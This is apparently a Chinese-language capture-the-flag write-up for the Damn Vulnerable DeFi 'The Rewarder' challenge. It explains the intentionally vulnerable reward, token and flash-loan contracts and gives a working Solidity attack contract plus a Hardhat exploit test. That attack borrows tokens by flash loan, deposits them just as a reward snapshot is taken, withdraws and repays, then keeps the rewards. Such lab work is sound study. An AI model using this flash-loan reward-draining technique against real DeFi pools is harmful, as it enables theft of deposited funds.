Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/5.html
題目描述:
有一個池子每 5 天為將 DVT 代幣存入其中的人提供代幣獎勵。Alice、Bob、Charlie 和 David 已經存入了一些 DVT 代幣,並贏得了他們的獎勵!
而你沒有任何 DVT 代幣。但在即將到來的一輪中,你必須為自己索取最多的獎勵。
本題目錄中共有 4 個智能合約
AccountingToken.sol
FlashLoaderPool.sol
RewardToken.sol
TheRewarderPool.sol
AccountingToken.sol
// 繼承自 ERC20Snapshot 和 AccessControl
contract AccountingToken is ERC20Snapshot, AccessControl {
// 定義三個角色 minter, snapshot, burner
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
_mint(to, amount);
}
// 銷毀代幣
function burn(address from, uint256 amount) external {
require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
_burn(from, amount);
}
// 執行快照
function snapshot() external returns (uint256) {
require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
return _snapshot();
}
// Do not need transfer of this token
function _transfer(address, address, uint256) internal pure override {
revert("Not implemented");
}
// Do not need allowance of this token
function _approve(address, address, uint256) internal pure override {
revert("Not implemented");
}
}
AccountingToken
是一個代幣合約,代幣 name
是 rToken
,symbol
是rTKN
。繼承自 openzeppelin
中的
ERC20Snapshot.sol
:該合約主要用來記錄每次進行快照時,某個地址有多少餘額。其內部有以下幾個變量:_currentSnapshotId
:自增變量 ,用來記錄每次執行快照的 id。_accountBalanceSnapshots
:記錄地址對應的每次快照的餘額。快照的餘額通過結構體Snapshots
存儲_totalSupplySnapshots
:記錄每次快照記錄的代幣總量
AccessControl.sol
:用來處理角色相關的合約。本質就是存儲每個角色下所擁有的地址。
在該合約的構造函數,給 sender 賦予了四種角色
admin_role
minter_role
snapshot_role
burner_role
並且調用方法 mint
、burn
、snapshot
都需要 sender
擁有對應的角色。
flashLoanerPool.sol
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
// DVT token的實例
DamnValuableToken public immutable liquidityToken;
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
// 閃電貸方法
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");
require(msg.sender.isContract(), "Borrower must be a deployed contract");
// 將 DVT token 發送給sender
liquidityToken.transfer(msg.sender, amount);
// 回調 receiveFlashLoan 方法
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);
require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
}
借貸池合約,提供閃電貸功能。並在閃電貸方法內會回調方法 receiveFlashLoan
RewardToken.sol
contract RewardToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}
token
合約,代幣 symbol
是RWT
, 並且只有 minter_role
角色可以進行 mint
。
TheRewarderPool.sol
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
// 多久進行一次獎勵
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
// 上次為了獎勵所執行快照的id
uint256 public lastSnapshotIdForRewards;
// 上次執行快照的時間戳
uint256 public lastRecordedSnapshotTimestamp;
// 記錄地址上次發放獎勵的時間
mapping(address => uint256) public lastRewardTimestamps;
// DVT token的實例
DamnValuableToken public immutable liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
// rTKN token的實例
AccountingToken public accToken;
// RWT token的實例
RewardToken public immutable rewardToken;
// 記錄發放獎勵的輪次
uint256 public roundNumber;
constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
// 存入DVT token
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
// 给予等量的rTKN token
accToken.mint(msg.sender, amountToDeposit);
// 分發獎勵
distributeRewards();
// 將調用者賬戶的 DVT token 存入該該合約地址中(需要授權)
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
// 提取DVt token
function withdraw(uint256 amountToWithdraw) external {
// 銷毀 rTKN token
accToken.burn(msg.sender, amountToWithdraw);
// 從該合約賬戶轉到調用者賬戶
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
// 分發獎勵
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
// 根據時間判斷是否是新的一輪獎勵發放時間
if(isNewRewardsRound()) {
_recordSnapshot();
}
// 上次快照 rTKN token 的總存入量
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
// 上次快照時 調用者sender 的存入量
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
// sender的存入量大於0,且總存入量大於0
if (amountDeposited > 0 && totalDeposits > 0) {
// 根據占比計算獎勵的數量
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
// 可獲得的獎勵大於0, 且未收到過獎勵
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
// 给予獎勵 RWT token
rewardToken.mint(msg.sender, rewards);
// 記錄領取獎勵的時間
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewards;
}
// 執行快照
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
// 根據領取獎勵的時間判斷是否領取過獎勵
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
// 是否是新的一輪獎勵發放:當前時間 >= 上次獎勵時間 + 5 days
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
獎勵池合約,當我們調用 deposit
方法存入 DVT token
時,會給你等量的 rTKN token
。之後分發獎勵也會根據你所持有的 rTKN token
的數量進行等比例分發 RWT token
通過合約的源碼,此時可以做個簡單的總結:
有三個 token
, 分別是
DVT token
rTKN token
RWT token
每當有用戶在獎勵池合約中存入 DVT token
時,會给予等量的 rTKN token
。並根據當前區塊時間判斷是否到了新一輪的獎勵分發時間。如果到了,則執行快照,記錄此時持有 rTKN token
的所有賬戶及其餘額。並根據快照的數據按比例分發 RWT token
。
或者用戶主動調用 distributeRewards
去領取獎勵。
此時再回過頭看下該題的問題:你沒有 DVT token
,但你需要在新一輪的獎勵分發時獲取最多的獎勵。也就意味著在快照時,你需要擁有大量的 rTKN token
,而擁有 rTKN token
的前提是存入 DVT token
。但是題目明確說明了你沒有 DVT token
。所以要想擁有 DVT token
,只能通過借貸池合約借出 DVT token
。
此時就能明確我們的攻擊流程:
- 在新一輪的獎勵分發時,通過閃電貸借出全部的
DVT token
- 在閃電貸的回調方法中,通過調用獎勵池合約中的
deposit
方法,將借出的DVT token
存入,並獲得等量的rTKN token
, 此時會執行快照,並分發獎勵,獲得RWT token
- 調用獎勵池合約的
withdraw
, 銷毀擁有的rTKN token
,並將存入的DVT token
返還給調用者。 - 將
DVT token
返還給借貸池合約。 - 將獲得的
RWT token
轉出到攻擊者賬戶。
因此可以寫出我們的攻擊合約
TheRewarderAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";
contract TheRewarderAttack {
// 獎勵池合約
TheRewarderPool public rewarderPool;
// 借貸池合約
FlashLoanerPool public flashLoanerPool;
// DVT token
IERC20 public liquidityToken;
constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
rewarderPool = TheRewarderPool(_rewarderPool);
flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
liquidityToken = IERC20(_token);
}
// 閃電貸回調方法
function receiveFlashLoan(uint amount) public {
// 授權 rewarderPool 可以動用 amount 數量的DVT token
liquidityToken.approve(address(rewarderPool), amount);
// 存入DVT token
rewarderPool.deposit(amount);
// 取出DVT token
rewarderPool.withdraw(amount);
// 返還借出的 DVT token 到借貸池合約
liquidityToken.transfer(address(flashLoanerPool), amount);
}
function attack (uint amount) external {
// 執行閃電貸
flashLoanerPool.flashLoan(amount);
// 將獲得的 RWT token 轉出到 sender
rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
}
}
最後在測試用例 the-rewarder.challenge.js
編寫我們的執行代碼
it('Exploit', async function () {
// 部署攻擊合約
const TheRewarderAttackFactory = await ethers.getContractFactory('TheRewarderAttack', attacker)
const attackContract = await TheRewarderAttackFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address)
// 增加時間到5天後
await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
// 執行攻擊方法
await attackContract.attack(TOKENS_IN_LENDER_POOL)
})
執行 yarn the-rewarder
, 測試通過!